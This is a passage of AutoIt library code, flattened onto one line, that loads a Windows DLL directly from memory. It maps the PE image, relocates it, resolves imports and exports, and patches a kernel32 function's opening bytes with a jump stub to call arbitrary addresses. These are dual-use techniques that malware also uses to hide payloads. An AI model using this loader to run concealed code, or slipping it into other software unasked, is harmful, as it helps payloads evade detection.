( $Characteristics, $IMAGE_SCN_MEM_WRITE ) <> 0 ) Local $ProtectList[8] = [$PAGE_NOACCESS, $PAGE_EXECUTE, $PAGE_READONLY, $PAGE_EXECUTE_READ, $PAGE_WRITECOPY, $PAGE_EXECUTE_WRITECOPY, $PAGE_READWRITE, $PAGE_EXECUTE_READWRITE] Local $Protect = $ProtectList[$Executable + $Readable * 2 + $Writeable * 4] If BitAND ( $Characteristics, $IMAGE_SCN_MEM_NOT_CACHED ) Then $Protect = BitOR ( $Protect, $PAGE_NOCACHE ) Local $Size = $SizeOfRawData If $Size = 0 Then If BitAND ( $Characteristics, $IMAGE_SCN_CNT_INITIALIZED_DATA ) Then $Size = DllStructGetData ( $IMAGE_NT_HEADER, 'SizeOfInitializedData' ) ElseIf BitAND ( $Characteristics, $IMAGE_SCN_CNT_UNINITIALIZED_DATA ) Then $Size = DllStructGetData ( $IMAGE_NT_HEADER, 'SizeOfUninitializedData' ) EndIf EndIf If $Size > 0 Then Local $PhysicalAddress = $CodeBase + DllStructGetData ( $Section, 'VirtualSize' ) API_VirtualProtect ( $PhysicalAddress, $Size, $Protect ) EndIf $SectionPtr += DllStructGetSize ( $Section ) Next EndFunc ;==> MemLib_FinalizeSections() Func MemLib_FreeLibrary ( $ModulePtr ) If Not MemLib_Vaild ( $ModulePtr ) Then Return 0 Local $Module = DllStructCreate ( $tagModule, $ModulePtr ) Local $CodeBase = DllStructGetData ( $Module, 'CodeBase' ) Local $DllEntry = DllStructGetData ( $Module, 'DllEntry' ) Local $Initialized = DllStructGetData ( $Module, 'Initialized' ) Local $ImportListPtr = DllStructGetData ( $Module, 'ImportList' ) Local $ExportListPtr = DllStructGetData ( $Module, 'ExportList' ) If $Initialized And $DllEntry Then Local $Success = MemoryFuncCall ( 'bool', $DllEntry, 'ptr', $CodeBase, 'dword', 0, 'ptr', 0 ) ; DLL_PROCESS_DETACH DllStructSetData ( $Module, 'Initialized', 0 ) EndIf If $ExportListPtr Then _MemGlobalFree ( $ExportListPtr ) If $ImportListPtr Then Local $ImportList = StringSplit ( Peek ( 'str', $ImportListPtr ), ',' ) For $i = 1 To $ImportList[0] If $ImportList[$i] Then API_FreeLibrary ( $ImportList[$i] ) Next _MemGlobalFree ( $ImportListPtr ) EndIf If $CodeBase Then _MemVirtualFree ( $CodeBase, 0, $MEM_RELEASE ) DllStructSetData ( $Module, 'CodeBase', 0 ) DllStructSetData ( $Module, 'ExportList', 0 ) _MemGlobalFree ( $ModulePtr ) Return 1 EndFunc ;==> MemLib_FreeLibrary() Func MemLib_GetExportList ( $CodeBase, $PEHeader ) Local Const $IMAGE_DIRECTORY_ENTRY_EXPORT = 0 Local $IMAGE_NT_HEADER = DllStructCreate ( $tagIMAGE_NT_HEADER, $PEHeader ) Local $SizeOfDataDirectory = DllStructGetSize ( DllStructCreate ( $tagIMAGE_DATA_DIRECTORY ) ) Local $ExportDirectoryPtr = $PEHeader + DllStructGetSize ( $IMAGE_NT_HEADER ) + $IMAGE_DIRECTORY_ENTRY_EXPORT * $SizeOfDataDirectory Local $ExportDirectory = DllStructCreate ( $tagIMAGE_DATA_DIRECTORY, $ExportDirectoryPtr ) Local $ExportSize = DllStructGetData ( $ExportDirectory, 'Size' ) Local $ExportVirtualAddress = DllStructGetData ( $ExportDirectory, 'VirtualAddress' ) Local $ExportList = '' If $ExportSize > 0 Then Local $IMAGE_EXPORT_DIRECTORY = DllStructCreate ( $tagIMAGE_EXPORT_DIRECTORY, $CodeBase + $ExportVirtualAddress ) Local $NumberOfNames = DllStructGetData ( $IMAGE_EXPORT_DIRECTORY, 'NumberOfNames' ) Local $NumberOfFunctions = DllStructGetData ( $IMAGE_EXPORT_DIRECTORY, 'NumberOfFunctions' ) Local $AddressOfFunctions = DllStructGetData ( $IMAGE_EXPORT_DIRECTORY, 'AddressOfFunctions' ) If $NumberOfNames = 0 Or $NumberOfFunctions = 0 Then Return '' Local $NameRef = $CodeBase + DllStructGetData ( $IMAGE_EXPORT_DIRECTORY, 'AddressOfNames' ) Local $Ordinal = $CodeBase + DllStructGetData ( $IMAGE_EXPORT_DIRECTORY, 'AddressOfNameOrdinals' ) For $i = 1 To $NumberOfNames Local $Ref = Peek ( 'dword', $NameRef ) Local $Idx = Peek ( 'word', $Ordinal ) Local $FuncName = Peek ( 'str', $CodeBase + $Ref ) If $Idx <= $NumberOfFunctions Then Local $Addr = $CodeBase + Peek ( 'dword', $CodeBase + $AddressOfFunctions + $Idx * 4 ) $ExportList &= $FuncName & Chr ( 1 ) & $Addr & Chr ( 1 ) EndIf $NameRef += 4 ; DWORD $Ordinal += 2 ; WORD Next EndIf Return $ExportList EndFunc ;==> MemLib_GetExportList() Func MemLib_GetProcAddress ( $ModulePtr, $FuncName ) Local $ExportPtr = Peek ( 'ptr', $ModulePtr ) If Not $ExportPtr Then Return 0 Local $ExportList = Peek ( 'str', $ExportPtr ) Local $Match = StringRegExp ( $ExportList, '(?i)' & $FuncName & '\001([^\001]*)\001', 3 ) If Not @Error Then Return Ptr ( $Match[0] ) Return 0 EndFunc ;==> MemLib_GetProcAddress() Func MemLib_LoadLibrary ( $DllBinary ) $DllBinary = Binary ( $DllBinary ) Local $DllData = DllStructCreate ( 'byte[' & BinaryLen ( $DllBinary ) & ']' ) Local $DllDataPtr = DllStructGetPtr ( $DllData ) DllStructSetData ( $DllData, 1, $DllBinary ) Local $IMAGE_DOS_HEADER = DllStructCreate ( $tagIMAGE_DOS_HEADER, $DllDataPtr ) If DllStructGetData ( $IMAGE_DOS_HEADER, 'e_magic' ) <> 0x5A4D Then Return SetError ( 1, 0, 0 ) EndIf Local $PEHeader = $DllDataPtr + DllStructGetData ( $IMAGE_DOS_HEADER, 'e_lfanew' ) Local $IMAGE_NT_HEADER = DllStructCreate ( $tagIMAGE_NT_HEADER, $PEHeader ) If DllStructGetData ( $IMAGE_NT_HEADER, 'Signature' ) <> 0x4550 Then Return SetError ( 1, 0, 0 ) EndIf Switch DllStructGetData ( $IMAGE_NT_HEADER, 'Magic' ) Case 0x10B ; IMAGE_NT_OPTIONAL_HDR32_MAGIC If @AutoItX64 Then Return SetError ( 2, 0, 0 ) Case 0x20B ; IMAGE_NT_OPTIONAL_HDR64_MAGIC If Not @AutoItX64 Then Return SetError ( 2, 0, 0 ) EndSwitch Local $ImageBase = DllStructGetData ( $IMAGE_NT_HEADER, 'ImageBase' ) Local $SizeOfImage = DllStructGetData ( $IMAGE_NT_HEADER, 'SizeOfImage' ) Local $SizeOfHeaders = DllStructGetData ( $IMAGE_NT_HEADER, 'SizeOfHeaders' ) Local $AddressOfEntryPoint = DllStructGetData ( $IMAGE_NT_HEADER, 'AddressOfEntryPoint' ) Local $ModulePtr = _MemGlobalAlloc ( DllStructGetSize ( DllStructCreate ( $tagModule ) ), $GPTR ) If $ModulePtr = 0 Then Return SetError ( 3, 0, 0 ) Local $Module = DllStructCreate ( $tagModule, $ModulePtr ) Local $CodeBase = _MemVirtualAlloc ( $ImageBase, $SizeOfImage, $MEM_RESERVE, $PAGE_READWRITE ) If $CodeBase = 0 Then $CodeBase = _MemVirtualAlloc ( 0, $SizeOfImage, $MEM_RESERVE, $PAGE_READWRITE ) If $CodeBase = 0 Then Return SetError ( 3, 0, 0 ) DllStructSetData ( $Module, 'CodeBase', $CodeBase ) _MemVirtualAlloc ( $CodeBase, $SizeOfImage, $MEM_COMMIT, $PAGE_READWRITE ) Local $Base = _MemVirtualAlloc ( $CodeBase, $SizeOfHeaders, $MEM_COMMIT, $PAGE_READWRITE ) _MemMoveMemory ( $DllDataPtr, $Base, $SizeOfHeaders ) MemLib_CopySections ( $CodeBase, $PEHeader, $DllDataPtr ) Local $LocationDelta = $CodeBase - $ImageBase If $LocationDelta <> 0 Then MemLib_PerformBaseRelocation ( $CodeBase, $PEHeader, $LocationDelta ) Local $ImportList = MemLib_BuildImportTable ( $CodeBase, $PEHeader ) If @Error Then MemLib_FreeLibrary ( $ModulePtr ) Return SetError ( 2, 0, 0 ) EndIf Local $ExportList = MemLib_GetExportList ( $CodeBase, $PEHeader ) Local $ImportListPtr = _MemGlobalAlloc ( StringLen ( $ImportList ) + 2, $GPTR ) Local $ExportListPtr = _MemGlobalAlloc ( StringLen ( $ExportList ) + 2, $GPTR ) DllStructSetData ( $Module, 'ImportList', $ImportListPtr ) DllStructSetData ( $Module, 'ExportList', $ExportListPtr ) If $ImportListPtr = 0 Or $ExportListPtr = 0 Then MemLib_FreeLibrary ( $ModulePtr ) Return SetError ( 3, 0, 0 ) EndIf Poke ( 'str', $ImportListPtr, $ImportList ) Poke ( 'str', $ExportListPtr, $ExportList ) MemLib_FinalizeSections ( $CodeBase, $PEHeader ) Local $DllEntry = $CodeBase + $AddressOfEntryPoint DllStructSetData ( $Module, 'DllEntry', $DllEntry ) DllStructSetData ( $Module, 'Initialized', 0 ) If $AddressOfEntryPoint Then Local $Success = MemoryFuncCall ( 'bool', $DllEntry, 'ptr', $CodeBase, 'dword', 1, 'ptr', 0 ) ; DLL_PROCESS_ATTACH If Not $Success[0] Then MemLib_FreeLibrary ( $ModulePtr ) Return SetError ( 4, 0, 0 ) EndIf DllStructSetData ( $Module, 'Initialized', 1 ) EndIf Return $ModulePtr EndFunc ;==> MemLib_LoadLibrary() Func MemLib_PerformBaseRelocation ( $CodeBase, $PEHeader, $LocationDelta ) Local Const $IMAGE_DIRECTORY_ENTRY_BASERELOC = 5 Local Const $IMAGE_REL_BASED_HIGHLOW = 3 Local Const $IMAGE_REL_BASED_DIR64 = 10 Local $IMAGE_NT_HEADER = DllStructCreate ( $tagIMAGE_NT_HEADER, $PEHeader ) Local $SizeOfDataDirectory = DllStructGetSize ( DllStructCreate ( $tagIMAGE_DATA_DIRECTORY ) ) Local $RelocDirectoryPtr = $PEHeader + DllStructGetSize ( $IMAGE_NT_HEADER ) + $IMAGE_DIRECTORY_ENTRY_BASERELOC * $SizeOfDataDirectory Local $RelocDirectory = DllStructCreate ( $tagIMAGE_DATA_DIRECTORY, $RelocDirectoryPtr ) Local $RelocSize = DllStructGetData ( $RelocDirectory, 'Size' ) Local $RelocVirtualAddress = DllStructGetData ( $RelocDirectory, 'VirtualAddress' ) If $RelocSize > 0 Then Local $Relocation = $CodeBase + $RelocVirtualAddress While 1 Local $IMAGE_BASE_RELOCATION = DllStructCreate ( $tagIMAGE_BASE_RELOCATION, $Relocation ) Local $VirtualAddress = DllStructGetData ( $IMAGE_BASE_RELOCATION, 'VirtualAddress' ) Local $SizeOfBlock = DllStructGetData ( $IMAGE_BASE_RELOCATION, 'SizeOfBlock' ) If $VirtualAddress = 0 Then ExitLoop Local $Dest = $CodeBase + $VirtualAddress Local $Entries = ( $SizeOfBlock - 8 ) / 2 Local $RelInfo = DllStructCreate ( 'word[' & $Entries & ']', $Relocation + 8 ) For $i = 1 To $Entries Local $Info = DllStructGetData ( $RelInfo, 1, $i ) Local $Type = BitShift ( $Info, 12 ) If $Type = $IMAGE_REL_BASED_HIGHLOW Or $Type = $IMAGE_REL_BASED_DIR64 Then Local $Addr = DllStructCreate ( 'ptr', $Dest + BitAND ( $Info, 0xFFF ) ) DllStructSetData ( $Addr, 1, DllStructGetData ( $Addr, 1 ) + $LocationDelta ) EndIf Next $Relocation += $SizeOfBlock WEnd EndIf EndFunc ;==> MemLib_PerformBaseRelocation() Func MemLib_Vaild ( $ModulePtr ) Local $ModuleSize = DllStructGetSize ( DllStructCreate ( $tagModule ) ) If API_IsBadReadPtr ( $ModulePtr, $ModuleSize ) Then Return False Local $Module = DllStructCreate ( $tagModule, $ModulePtr ) Local $CodeBase = DllStructGetData ( $Module, 'CodeBase' ) If Not $CodeBase Then Return False Return True EndFunc ;==> MemLib_Vaild() Func MemoryDllCall ( $Module, $RetType, $FuncName, $Type1 = '', $Param1 = 0, $Type2 = '', $Param2 = 0, $Type3 = '', $Param3 = 0, $Type4 = '', $Param4 = 0, $Type5 = '', $Param5 = 0, $Type6 = '', $Param6 = 0, $Type7 = '', $Param7 = 0, $Type8 = '', $Param8 = 0, $Type9 = '', $Param9 = 0, $Type10 = '', $Param10 = 0, $Type11 = '', $Param11 = 0, $Type12 = '', $Param12 = 0, $Type13 = '', $Param13 = 0, $Type14 = '', $Param14 = 0, $Type15 = '', $Param15 = 0, $Type16 = '', $Param16 = 0, $Type17 = '', $Param17 = 0, $Type18 = '', $Param18 = 0, $Type19 = '', $Param19 = 0, $Type20 = '', $Param20 = 0 ) Local $Ret, $OpenFlag = False Local Const $MaxParams = 20 If ( @NumParams < 3 ) Or ( @NumParams > $MaxParams * 2 + 3 ) Or ( Mod ( @NumParams, 2 ) = 0 ) Then Return SetError ( 4, 0, 0 ) If Not IsPtr ( $Module ) Then $OpenFlag = True $Module = MemoryDllOpen ( $Module ) If @Error Then Return SetError ( 1, 0, 0 ) EndIf Local $Addr = MemLib_GetProcAddress ( $Module, $FuncName ) If Not $Addr Then Return SetError ( 3, 0, 0 ) Poke ( 'ptr', $_MFHookPtr + 1 + @AutoItX64, $Addr ) Switch @NumParams Case 3 $Ret = DllCall ( $_KERNEL32DLL, $RetType, $_MFHookApi ) Case 5 $Ret = DllCall ( $_KERNEL32DLL, $RetType, $_MFHookApi, $Type1, $Param1 ) Case 7 $Ret = DllCall ( $_KERNEL32DLL, $RetType, $_MFHookApi, $Type1, $Param1, $Type2, $Param2 ) Case 9 $Ret = DllCall ( $_KERNEL32DLL, $RetType, $_MFHookApi, $Type1, $Param1, $Type2, $Param2, $Type3, $Param3 ) Case 11 $Ret = DllCall ( $_KERNEL32DLL, $RetType, $_MFHookApi, $Type1, $Param1, $Type2, $Param2, $Type3, $Param3, $Type4, $Param4 ) Case 13 $Ret = DllCall ( $_KERNEL32DLL, $RetType, $_MFHookApi, $Type1, $Param1, $Type2, $Param2, $Type3, $Param3, $Type4, $Param4, $Type5, $Param5 ) Case Else Local $DllCallStr = 'DllCall ( $_KERNEL32DLL, $RetType, $_MFHookApi', $n = 1 For $i = 5 To @NumParams Step 2 $DllCallStr &= ', $Type' & $n & ', $Param' & $n $n += 1 Next $DllCallStr &= ' )' $Ret = Execute ( $DllCallStr ) EndSwitch Local $Err = @Error If $OpenFlag Then MemoryDllClose ( $Module ) Return SetError ( $Err, 0, $Ret ) EndFunc ;==> MemoryDllCall() Func MemoryDllClose ( $Module ) MemLib_FreeLibrary ( $Module ) EndFunc ;==> MemoryDllClose() Func MemoryDllOpen ( $DllBinary ) If Not IsDllStruct ( $_MFHookBak ) Then MemoryFuncInit() Local $Module = MemLib_LoadLibrary ( $DllBinary ) If @Error Then Return SetError ( @Error, 0, -1 ) Return $Module EndFunc ;==> MemoryDllOpen() Func MemoryFuncCall ( $RetType, $Address, $Type1 = '', $Param1 = 0, $Type2 = '', $Param2 = 0, $Type3 = '', $Param3 = 0, $Type4 = '', $Param4 = 0, $Type5 = '', $Param5 = 0, $Type6 = '', $Param6 = 0, $Type7 = '', $Param7 = 0, $Type8 = '', $Param8 = 0, $Type9 = '', $Param9 = 0, $Type10 = '', $Param10 = 0, $Type11 = '', $Param11 = 0, $Type12 = '', $Param12 = 0, $Type13 = '', $Param13 = 0, $Type14 = '', $Param14 = 0, $Type15 = '', $Param15 = 0, $Type16 = '', $Param16 = 0, $Type17 = '', $Param17 = 0, $Type18 = '', $Param18 = 0, $Type19 = '', $Param19 = 0, $Type20 = '', $Param20 = 0 ) If Not IsDllStruct ( $_MFHookBak ) Then MemoryFuncInit() Poke ( 'ptr', $_MFHookPtr + 1 + @AutoItX64, $Address ) Local $Ret Switch @NumParams Case 2 $Ret = DllCall ( $_KERNEL32DLL, $RetType, $_MFHookApi ) Case 4 $Ret = DllCall ( $_KERNEL32DLL, $RetType, $_MFHookApi, $Type1, $Param1 ) Case 6 $Ret = DllCall ( $_KERNEL32DLL, $RetType, $_MFHookApi, $Type1, $Param1, $Type2, $Param2 ) Case 8 $Ret = DllCall ( $_KERNEL32DLL, $RetType, $_MFHookApi, $Type1, $Param1, $Type2, $Param2, $Type3, $Param3 ) Case 10 $Ret = DllCall ( $_KERNEL32DLL, $RetType, $_MFHookApi, $Type1, $Param1, $Type2, $Param2, $Type3, $Param3, $Type4, $Param4 ) Case 12 $Ret = DllCall ( $_KERNEL32DLL, $RetType, $_MFHookApi, $Type1, $Param1, $Type2, $Param2, $Type3, $Param3, $Type4, $Param4, $Type5, $Param5 ) Case Else Local $DllCallStr = 'DllCall($_KERNEL32DLL, $RetType, $_MFHookApi', $n = 1 For $i = 4 To @NumParams Step 2 $DllCallStr &= ', $Type' & $n & ', $Param' & $n $n += 1 Next $DllCallStr &= ')' $Ret = Execute ( $DllCallStr ) EndSwitch Return SetError ( @Error, 0, $Ret ) EndFunc ;==> MemoryFuncCall() Func MemoryFuncInit() Local $KernelHandle = API_LoadLibrary ( 'kernel32.dll' ) API_FreeLibrary ( $KernelHandle ) Local $HookPtr = API_GetProcAddress ( $KernelHandle, $_MFHookApi ) Local $HookSize = 7 + @AutoItX64 * 5 $_MFHookPtr = $HookPtr $_MFHookBak = DllStructCreate ( 'byte[' & $HookSize & ']' ) If Not API_VirtualProtect ( $_MFHookPtr, $HookSize, $PAGE_EXECUTE_READWRITE ) Then Return False DllStructSetData ( $_MFHookBak, 1, Peek ( 'byte[' & $HookSize & ']', $_MFHookPtr ) ) If @AutoItX64 Then Poke ( 'word', $_MFHookPtr, 0xB848 ) Poke ( 'word', $_MFHookPtr + 10, 0xE0FF ) Else Poke ( 'byte', $_MFHookPtr, 0xB8 ) Poke ( 'word', $_MFHookPtr + 5, 0xE0FF ) EndIf Return True EndFunc ;==> MemoryFuncInit() Func Peek ( $Type, $Ptr ) If $Type = 'str' Then $Type = 'char[' & API_lstrlenA ( $Ptr ) & ']' ElseIf $Type = 'wstr' Then $Type = 'wchar[' & API_lstrlenW ( $Ptr ) & ']' EndIf Return DllStructGetData ( DllStructCreate ( $Type, $Ptr ), 1 ) EndFunc ;==> Peek() Func Poke ( $Type, $Ptr, $Value ) If $Type = 'str' Then $Type = 'char[' & ( StringLen ( $Value ) + 1 ) & ']' ElseIf $Type = 'wstr' Then $Type = 'wchar[' & ( StringLen ( $Value ) + 1 ) & ']' EndIf DllStructSetData ( DllStructCreate ( $Type, $Ptr ), 1, $Value ) EndFunc ;==> Poke()